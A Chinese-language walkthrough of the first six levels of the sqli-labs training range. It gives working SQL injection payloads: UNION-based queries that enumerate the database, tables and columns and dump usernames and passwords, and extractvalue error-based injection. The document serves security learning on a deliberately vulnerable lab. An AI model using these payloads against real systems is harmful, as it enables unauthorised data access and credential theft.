sqli-labs靶场在线版的网址为https://sqli-labs.bachang.org/,该网址下前10关通过get的方法传递参数id进行sql注入的学习,格式像这样-->https://sqli-labs.bachang.org/Less-1/?id=,等于号后接你要传入的参数,这里展示前六关的id的参数,推荐使用火狐插件hackbar进行拼接到url的后面。
确定参数类型为字符串类型后
猜回显,3不报错4报错,说明回显数为3,这个猜回显的操作后面都一样
?id=00' order by 3--+
?id=00' order by 4--+
查数据库名为security
?id=00' union select 1,2,database()--+
查表名,有表为users
?id=00' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查列名
?id=00' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查数据
?id=00' union select 1,group_concat(username,password),3 from users--+
确定参数类型为数字类型后,与less-1同理
查数据库名,查表名,查列名最后查数据
?id=00 union select 1,2,database()--+
?id=00 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=00 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=00 union select 1,group_concat(username,password),3 from users--+
确定参数类型为单引号+)型闭合类型后,与less-1同理
查数据库名,查表名,查列名最后查数据
?id=0') union select 1,2,database()--+
?id=00') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=00') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=00') union select 1,group_concat(username,password),3 from users--+
没什么区别,就是 ') 闭合变成 ")闭合 了
和上面一样,替换一下就行
?id=1") and 1=2 union select 1,version(),database()--+
?id=00") union select 1,group_concat(username,password),3 from users--+
这里确认单引号时报错,确定为单引号类型,但是发现返回结果只有成功,失败,报错三种回显,可见union联合查询不太行,既然有报错,那我们使用extractvalue函数进行报错注入
extractvalue是一个用于mysql解析xml的函数,语法为extractvalue(xml_document, xpath_string),如果第一个参数失效,那么会报错,报错中包含第二个参数的结果,因此我们故意在第一个参数的位置随便输入点什么使其报错,返回想要的值
注意:extractvalue一次仅返回一行数据,因此只select一条数据并且 LIMIT 0,1
?id=1' AND extractvalue(1, concat('~', database())) --+
?id=1' AND extractvalue(1, concat('~', (select group_concat(table_name) from information_schema.tables where table_schema='security' LIMIT 0,1))) --+
?id=1' AND extractvalue(1, concat('~', (select group_concat(column_name) from information_schema.columns where table_name='users' LIMIT 0,1))) --+
?id=1' AND extractvalue(1, concat('~', (select group_concat(username) from users LIMIT 0,1))) --+
?id=1' AND extractvalue(1, concat('~', (select group_concat(password) from users LIMIT 0,1))) --+
和less-5没啥区别,参数类型从单引号变成双引号了,依旧是报错注入
?id=1" AND extractvalue(1, concat('~', database())) --+
?id=1" AND extractvalue(1, concat('~', (select group_concat(table_name) from information_schema.tables where table_schema='security' LIMIT 0,1))) --+
?id=1" AND extractvalue(1, concat('~', (select group_concat(column_name) from information_schema.columns where table_name='users' LIMIT 0,1))) --+
?id=1" AND extractvalue(1, concat('~', (select group_concat(username) from users LIMIT 0,1))) --+
?id=1" AND extractvalue(1, concat('~', (select group_concat(password) from users LIMIT 0,1))) --+